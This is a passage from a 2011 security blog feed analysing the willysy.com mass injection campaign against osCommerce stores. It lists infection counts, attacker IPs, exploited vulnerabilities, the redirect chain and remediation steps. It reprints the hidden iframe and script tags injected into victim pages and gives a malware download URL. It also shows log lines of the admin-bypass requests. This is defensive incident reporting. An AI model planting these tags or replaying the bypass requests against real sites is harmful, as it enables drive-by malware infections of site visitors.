largely updated and reformatted (so new info appears at the front) the &lt;a href="http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html"&gt;initial report&lt;/a&gt;, adding to it the infection number, source IP of attack, log entries, osCommerce vulnerabilities used, and more. Please  &lt;a href="http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html"&gt;go there&lt;/a&gt; and have a look, thanks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-3086917843336357430?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/3086917843336357430/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/07/willysycom-mass-injection-has-hit-more.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3086917843336357430'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3086917843336357430'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/07/willysycom-mass-injection-has-hit-more.html' title='willysy.com mass injection has hit more than 3.8 million pages (update: now &gt; 8 million)'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-kwa9wRTCdWs/TjX79YmhKQI/AAAAAAAACZQ/fcKEQgZaW_s/s72-c/willysy_drive_by_download_mass_injection_google_3_million.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-8382954626435640385</id><published>2011-07-25T12:50:00.000-07:00</published><updated>2011-12-05T00:05:22.119-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='HackAlert'/><category scheme='http://www.blogger.com/atom/ns#' term='osCommerce'/><category scheme='http://www.blogger.com/atom/ns#' term='Mass Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Web malware'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>willysy.com Mass Injection ongoing, over 8 million infected pages, targets osCommerce sites</title><content type='html'>(Credits: Wayne Huang, Chris Hsiao, NightCola Lin, Sun Huang, Crane Ku)&lt;br /&gt;(Initial post: July 24th)&lt;br /&gt;(Updated: July 30th with new infection number, source IP of attack, log entries, osCommerce vulnerabilities used, and more)&lt;br /&gt;(Updated: Aug 3rd with new video and new infection count: &amp;gt;6 million)&lt;br /&gt;(Updated: Aug 8th with new infection count: &amp;gt;8 million)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-bs4fVwwf79Q/TkCQO5YcqgI/AAAAAAAACaY/ZI9hP_7U3L4/s1600/willysy_mass_oscommerce_infection_willysy_7M.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-bs4fVwwf79Q/TkCQO5YcqgI/AAAAAAAACaY/ZI9hP_7U3L4/s1600/willysy_mass_oscommerce_infection_willysy_7M.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;b&gt;[Table of contents]&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#summary"&gt;1. Summary&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#timeline"&gt;2. Attack Timeline&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#source"&gt;3. Source of Attack&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#vulnerability"&gt;4. Vulnerabilities Targeted&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#what_is_done"&gt;5. What Happens to Affected Websites&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#remediation"&gt;6. Remediation&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#details"&gt;7. Infection Details&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=8382954626435640385#screenshots"&gt;8. Screenshots&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a name="summary"&gt;&lt;b&gt;[1. Summary]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;1. Number of infections:&lt;br /&gt;As of Aug 3rd, Google shows more than &lt;b&gt;&lt;a href="http://www.google.com/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=%22http://willysy.com/images/banners/%22&amp;amp;hl=en#q=%22http://willysy.com/images/banners/%22&amp;amp;hl=en&amp;amp;prmd=ivns&amp;amp;ei=F-81Tv2iB6_5mAWh3azwCg&amp;amp;start=90&amp;amp;sa=N&amp;amp;bav=on.2,or.r_gc.r_pw.&amp;amp;fp=d31248080af7dd23&amp;amp;biw=734&amp;amp;bih=475"&gt;7,690,000 (willysy)&lt;/a&gt; + &lt;a href="http://www.google.com/search?q=%22%3Cscript+src%3Dhttp://exero.eu/catalog/jquery.js%22&amp;amp;hl=en&amp;amp;prmd=ivns&amp;amp;ei=LjE6TqP0OMWfmQXtoqC8Bw&amp;amp;start=90&amp;amp;sa=N&amp;amp;biw=814&amp;amp;bih=696"&gt;629,000 (exero)&lt;/a&gt; = 8.3 million infected pages&lt;/b&gt;. Note this number is for individual infected pages, not sites or domains.&lt;br /&gt;&lt;br /&gt;2. Injected iframe:&lt;br /&gt;initially it was:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;Later it became:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;script src=http://exero.eu/catalog/jquery.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;3. Attacker:&lt;br /&gt;Ukraine IPs: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214 (all AS47694). Agent string: "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;br /&gt;4. Target and website vulnerability:&lt;br /&gt;osCommerce sites, using at least the following vulnerabilities: &lt;a href="http://www.1337day.com/exploits/16505"&gt;osCommerce Remote Edit Site Info Vulnerability&lt;/a&gt;,  &lt;a href="http://www.exploit-db.com/exploits/17285/"&gt;osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability&lt;/a&gt;, and &lt;a href="http://www.exploit-db.com/exploits/12801/"&gt;Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;5. Browser exploits used:&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0840"&gt;CVE-2010-0840&lt;/a&gt; --  Java Trust&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0188"&gt;CVE-2010-0188&lt;/a&gt; –- PDF LibTiff&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-0886"&gt;CVE-2010-0886&lt;/a&gt; -– Java SMB&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003"&gt;CVE-2006-0003&lt;/a&gt; -– IE MDAC&lt;br /&gt;&lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-1885"&gt;CVE-2010-1885&lt;/a&gt; – HCP&lt;br /&gt;&lt;br /&gt;6. Exploit domain:&lt;br /&gt;arhyv.ru, counv.ru&lt;br /&gt;Date of registration: July 20th&lt;br /&gt;Registered by: leshkinaira@yahoo.com&lt;br /&gt;IP: 46.16.240.18 (AS51632 Ukrain - Inet Ltd)&lt;br /&gt;Related domains: xlamv.ru, vntum.ru&lt;br /&gt;&lt;br /&gt;7. Malware URL:&lt;br /&gt;http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot&lt;br /&gt;&lt;br /&gt;&lt;a name="timeline"&gt;&lt;b&gt;[2. Attack Timeline]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;July 10th&lt;/b&gt; -- "Angel Injection" write about "osCommerce Remote Edit Site Info Vulnerability" (&lt;a href="http://www.exploit-id.com/web-applications/oscommerce-remote-edit-site-info-vulnerability"&gt;here&lt;/a&gt;, &lt;a href="http://www.1337day.com/exploits/16505"&gt;here&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;b&gt;July 11th&lt;/b&gt; -- Attacker group starts to test exploitation.&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;178.217.163.33 - - [11/Jul/2011:12:15:04 -0500] "GET /admin/configuration.php/login.php HTTP/1.1" 200 24492 "http://__Masked__by_armorize.com/admin/configuration.php/login.php" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;July 20th&lt;/b&gt; -- Attacker registers the exploit domains arhyv.ru and counv.ru, using email: leshkinaira@yahoo.com&lt;br /&gt;&lt;br /&gt;&lt;b&gt;July 23rd&lt;/b&gt; -- Attack launched injects the "Store Name" variable:&lt;br /&gt;&lt;pre&gt;178.217.165.111 - - [23/Jul/2011:13:50:05 -0500] "GET /admin/configuration.php/login.php?gID=1&amp;amp;cID=1&amp;amp;action=edit HTTP/1.1" 200 24835 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;br /&gt;178.217.165.111 - - [23/Jul/2011:13:50:06 -0500] "POST /admin/configuration.php/login.php?gID=1&amp;amp;cID=1&amp;amp;action=save HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Injected iframes pointed to two domains,&lt;br /&gt;initially:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;and later:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;script src=http://exero.eu/catalog/jquery.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;July 24rd&lt;/b&gt; -- Initial writeup of this report, at the time there was only 90,000 infected pages:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-t6xOIbHheFg/Ti2l0VwhpOI/AAAAAAAACYA/ANmRS-FsE4g/s1600/willysy_drive_by_download_mass_injection_google_ie6_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://2.bp.blogspot.com/-t6xOIbHheFg/Ti2l0VwhpOI/AAAAAAAACYA/ANmRS-FsE4g/s1600/willysy_drive_by_download_mass_injection_google_ie6_2.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;July 31th&lt;/b&gt; -- &lt;a href="http://www.google.com/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=%22http://willysy.com/images/banners/%22&amp;amp;hl=en#q=%22http://willysy.com/images/banners/%22&amp;amp;hl=en&amp;amp;prmd=ivns&amp;amp;ei=F-81Tv2iB6_5mAWh3azwCg&amp;amp;start=90&amp;amp;sa=N&amp;amp;bav=on.2,or.r_gc.r_pw.&amp;amp;fp=d31248080af7dd23&amp;amp;biw=734&amp;amp;bih=475"&gt;Google shows&lt;/a&gt; more than &lt;b&gt;3,410,000 (willysy) + 386,000 (exero) = 3.8 million infected pages&lt;/b&gt;.&lt;br /&gt;Bing, on the other hand, &lt;a href="http://www.bing.com/search?q=%22http%3A%2F%2Fwillysy.com%2Fimages%2Fbanners%2F%22&amp;amp;go=&amp;amp;qs=n&amp;amp;sk=&amp;amp;form=QBLH"&gt;shows&lt;/a&gt; 1.8 million infected pages for willysy:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-ecdvEdBvgPk/TjX_7-XnCaI/AAAAAAAACZg/QGQg97Atxp0/s1600/willysy_drive_by_download_mass_injection_bing_1_8_million.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-ecdvEdBvgPk/TjX_7-XnCaI/AAAAAAAACZg/QGQg97Atxp0/s1600/willysy_drive_by_download_mass_injection_bing_1_8_million.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Aug 3rd&lt;/b&gt; -- Google shows more than 5,820,000 (willysy) + 497,000 (exero) = 6.3 million infected pages&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Aug 7th&lt;/b&gt; -- Google shows more than &lt;b&gt;&lt;a href="http://www.google.com/search?sourceid=chrome&amp;amp;ie=UTF-8&amp;amp;q=%22http://willysy.com/images/banners/%22&amp;amp;hl=en#q=%22http://willysy.com/images/banners/%22&amp;amp;hl=en&amp;amp;prmd=ivns&amp;amp;ei=F-81Tv2iB6_5mAWh3azwCg&amp;amp;start=90&amp;amp;sa=N&amp;amp;bav=on.2,or.r_gc.r_pw.&amp;amp;fp=d31248080af7dd23&amp;amp;biw=734&amp;amp;bih=475"&gt;7,690,000 (willysy)&lt;/a&gt; + &lt;a href="http://www.google.com/search?q=%22%3Cscript+src%3Dhttp://exero.eu/catalog/jquery.js%22&amp;amp;hl=en&amp;amp;prmd=ivns&amp;amp;ei=LjE6TqP0OMWfmQXtoqC8Bw&amp;amp;start=90&amp;amp;sa=N&amp;amp;biw=814&amp;amp;bih=696"&gt;629,000 (exero)&lt;/a&gt; = 8.3 million infected pages&lt;/b&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-bs4fVwwf79Q/TkCQO5YcqgI/AAAAAAAACaY/ZI9hP_7U3L4/s1600/willysy_mass_oscommerce_infection_willysy_7M.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-bs4fVwwf79Q/TkCQO5YcqgI/AAAAAAAACaY/ZI9hP_7U3L4/s1600/willysy_mass_oscommerce_infection_willysy_7M.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-UR5Dc4Q7VoI/TkCQPF24JqI/AAAAAAAACag/HRWI0ZttQvE/s1600/willysy_mass_oscommerce_infection_exero_600K.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-UR5Dc4Q7VoI/TkCQPF24JqI/AAAAAAAACag/HRWI0ZttQvE/s1600/willysy_mass_oscommerce_infection_exero_600K.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a name="source"&gt;&lt;b&gt;[3. Source of Attack]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Several IPs have been identified: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214, all of which belong to AS47694. These IPs should be located in Ukraine, and belongs to the ISP www.didan.com.ua.&lt;br /&gt;&lt;br /&gt;The attackers used the following agent string:&lt;br /&gt;Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)&lt;br /&gt;&lt;br /&gt;If you have logs or know other IPs that you can share, please send them to Wayne at email: wayne@armorize.com.&lt;br /&gt;&lt;br /&gt;&lt;a name="vulnerability"&gt;&lt;b&gt;[4. Vulnerabilities Targeted]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This attack targets osCommerce websites and leverages several osCommerce vulnerabilities, including &lt;a href="http://www.1337day.com/exploits/16505"&gt;osCommerce Remote Edit Site Info Vulnerability&lt;/a&gt;, disclosed July 10th, 2011, &lt;a href="http://www.exploit-db.com/exploits/17285/"&gt;osCommerce 2.3.1 (banner_manager.php) Remote File Upload Vulnerability&lt;/a&gt;, disclosed May 14, 2011, and &lt;a href="http://www.exploit-db.com/exploits/12801/"&gt;Oscommerce Online Merchant v2.2 File Disclosure And Admin ByPass&lt;/a&gt;, disclosed May 30, 2010.&lt;br /&gt;&lt;br /&gt;Below are some sample log entries:&lt;br /&gt;&lt;pre&gt;178.217.163.33 - - [11/Jul/2011:12:15:04 -0500] "GET /admin/configuration.php/login.php HTTP/1.1" 200 24492 "http://__Masked__by_armorize.com" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;br /&gt;178.217.165.111 - - [23/Jul/2011:13:50:05 -0500] "GET /admin/configuration.php/login.php?gID=1&amp;amp;cID=1&amp;amp;action=edit HTTP/1.1" 200 24835 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;178.217.165.111 - - [23/Jul/2011:13:50:06 -0500] "POST /admin/configuration.php/login.php?gID=1&amp;amp;cID=1&amp;amp;action=save HTTP/1.1" 302 - "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;178.217.165.111 - - [23/Jul/2011:13:50:07 -0500] "GET /admin/configuration.php/login.php?gID=1&amp;amp;cID=1&amp;amp;action=edit HTTP/1.1" 200 21883 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;br /&gt;178.217.165.71 - - [23/Jul/2011:19:55:37 -0500] "GET /admin/configuration.php/login.php?cID=1&amp;amp;action=edit HTTP/1.1" 200 25014 "http://__Masked__by_armorize.com/admin/configuration.php?cID=1" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)"&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;a name="what_is_done"&gt;&lt;b&gt;[5. What Happens to Affected Websites]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;1. The "Store Name" variable of osCommerce sites will be modified to inject one of the iframes below:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;script src=http://exero.eu/catalog/jquery.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;2. For certain websites the attacker also leaves at least one (sometimes more) backdoors, or "webshells". This happens more especially for shared hosting accounts where the backdoor allows for access to multiple accounts on the same server:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-3qmOCdnX01o/TjTt2r7hLyI/AAAAAAAACZA/auk4ebbVVYE/s1600/willysy_drive_by_download_mass_injection_backdoor1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-3qmOCdnX01o/TjTt2r7hLyI/AAAAAAAACZA/auk4ebbVVYE/s1600/willysy_drive_by_download_mass_injection_backdoor1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;a name="remediation"&gt;&lt;b&gt;[6. Remediation]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Below is our best attempt to describe the remediation procedures. If you have questions or would like us to do it for you please contact wayne@armorize.com.&lt;br /&gt;&lt;br /&gt;1. Know if you've been infected.&lt;br /&gt;&lt;br /&gt;1.1 Search your logs for:&lt;br /&gt;1.1.1 Access from IPs: 178.217.163.33, 178.217.165.111, 178.217.165.71, 178.217.163.214.&lt;br /&gt;1.1.2 Access with agent string: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)&lt;br /&gt;&lt;br /&gt;1.2 Search your site for the existence of two iframes:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;script src=http://exero.eu/catalog/jquery.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;1.3 Or just have &lt;a href="https://hackalert.armorize.com/"&gt;HackAlert&lt;/a&gt; find everything for you. We know it's good because we built it ;) (greetings Dave, borrowed your quote)&lt;br /&gt;&lt;br /&gt;2. Install an anti-virus program on the computer you use to manage your website.&lt;br /&gt;&lt;br /&gt;3. Find and remove the injected backdoors.&lt;br /&gt;&lt;br /&gt;4. Find and remove the injected iframes / javascripts&lt;br /&gt;&lt;br /&gt;5. Secure your osCommerce installation. Upgrade to the latest version and use .htaccess to protect admin directories.&lt;br /&gt;&lt;br /&gt;6. Change your website hosting and your osCommerce admin passwords&lt;br /&gt;&lt;br /&gt;A very good article on how to secure osCommerce can be found here (thanks Markus):&lt;br /&gt;&lt;br /&gt;&lt;a href="http://forums.oscommerce.com/topic/313323-how-to-secure-your-oscommerce-22-site/"&gt;http://forums.oscommerce.com/topic/313323-how-to-secure-your-oscommerce-22-site/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And the latest version of osCommerce can be downloaded here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.oscommerce.com/solutions/downloads"&gt;http://www.oscommerce.com/solutions/downloads&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="details"&gt;&lt;b&gt;[7. Infection Details]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Here's the &lt;a href="http://www.youtube.com/watch?v=okAIMflJ4bA&amp;amp;feature=mfu_in_order&amp;amp;list=UL"&gt;original youtube&lt;/a&gt; video we made of the entire infection process; at the time there were only 90,000 infected pages.&lt;br /&gt;&lt;br /&gt;And here's the new one we made when there's over 6 million infected pages:&lt;br /&gt;&lt;iframe src="http://www.youtube.com/embed/1Jh_H4qQzqo" allowfullscreen="" frameborder="0" height="468" width="750"&gt;&lt;/iframe&gt;&lt;br /&gt;1. Infected website is injected with one of the following scripts:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;iframe src='http://willysy.com/images/banners/' style='position:absolute;visibility:hidden'&amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;pre class="brush: html; auto-links: false"&gt;&amp;lt;script src=http://exero.eu/catalog/jquery.js&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;2. Browser loads http://willysy.com/images/banners/, redirected (302) to http://papucky.eu/ext/&lt;br /&gt;&lt;br /&gt;3. Contents of papucky.eu/ext/ is &lt;a href="http://pastebin.com/E8c6tRsH"&gt;here on pastebin&lt;/a&gt;, loads javascript from http://gooqlepics.com/include.js?in=864&lt;br /&gt;&lt;br /&gt;4. &lt;a href="http://pastebin.com/2DrkMR5b"&gt;javascript here on pastebin&lt;/a&gt;, &lt;a href="http://pastebin.com/R8HMMQDE"&gt;decodes to this&lt;/a&gt;, generates iframe pointing to:&lt;br /&gt;&lt;br /&gt;http://yandekapi.com/api?in=864&lt;br /&gt;&lt;br /&gt;5. Contents of http://yandekapi.com/api?in=864 &lt;a href="http://pastebin.com/SQUrjeDH"&gt;is here&lt;/a&gt;, redirects to: http://arhyv.ru/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV&lt;br /&gt;&lt;br /&gt;6. Contents of http://arhyv.ru/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV &lt;a href="http://pastebin.com/ttQtvtF2"&gt;is here&lt;/a&gt;, decodes to &lt;a href="http://pastebin.com/jAPCwSz8"&gt;this&lt;/a&gt;. This includes multiple browser exploits.&lt;br /&gt;&lt;br /&gt;7. After successful exploitation, browser downloads and executes malware from here:&lt;br /&gt;http://46.16.240.18/9VBMa76FFnB4VAYu0X5j755pMiSyVrcV?s=mdacot&lt;br /&gt;&lt;br /&gt;&lt;a name="screenshots"&gt;&lt;b&gt;[8. Screenshots]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Vulnerable osCommerce installations allows modification of the site's variables without admin access:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-o_vSmieRqjg/TjT80DrW8jI/AAAAAAAACZI/hppnPEx824c/s1600/willysy_drive_by_download_mass_injection_oscommerce_vuln1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-o_vSmieRqjg/TjT80DrW8jI/AAAAAAAACZI/hppnPEx824c/s1600/willysy_drive_by_download_mass_injection_oscommerce_vuln1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;The infection attempt, when not successful, has the injected iframe rendered as content (rather than executed) in the title part of the website. Below are some examples:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Dq3BnwEGM7s/Ti3iOJT088I/AAAAAAAACYI/BGIUpEgAkmI/s1600/willysy_oscommerce_hacked_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://4.bp.blogspot.com/-Dq3BnwEGM7s/Ti3iOJT088I/AAAAAAAACYI/BGIUpEgAkmI/s1600/willysy_oscommerce_hacked_1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-h6OFWuGD5tk/Ti3iOQKelzI/AAAAAAAACYQ/1dB7tt5H5Go/s1600/willysy_oscommerce_hacked_2.png.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-h6OFWuGD5tk/Ti3iOQKelzI/AAAAAAAACYQ/1dB7tt5H5Go/s1600/willysy_oscommerce_hacked_2.png.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-id6xa68VXKM/Ti3iOumlonI/AAAAAAAACYY/ktisO8XH_Fw/s1600/willysy_oscommerce_hacked_3.png.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-id6xa68VXKM/Ti3iOumlonI/AAAAAAAACYY/ktisO8XH_Fw/s1600/willysy_oscommerce_hacked_3.png.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-lx9eG7KHqxs/Ti3iOwno4PI/AAAAAAAACYg/lkPlUm9Q9hE/s1600/willysy_oscommerce_hacked_4.png.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img src="http://3.bp.blogspot.com/-lx9eG7KHqxs/Ti3iOwno4PI/AAAAAAAACYg/lkPlUm9Q9hE/s1600/willysy_oscommerce_hacked_4.png.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-8382954626435640385?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/8382954626435640385/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html#comment-form' title='45 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/8382954626435640385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/8382954626435640385'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/07/willysycom-mass-injection-ongoing.html' title='willysy.com Mass Injection ongoing, over 8 million infected pages, targets osCommerce 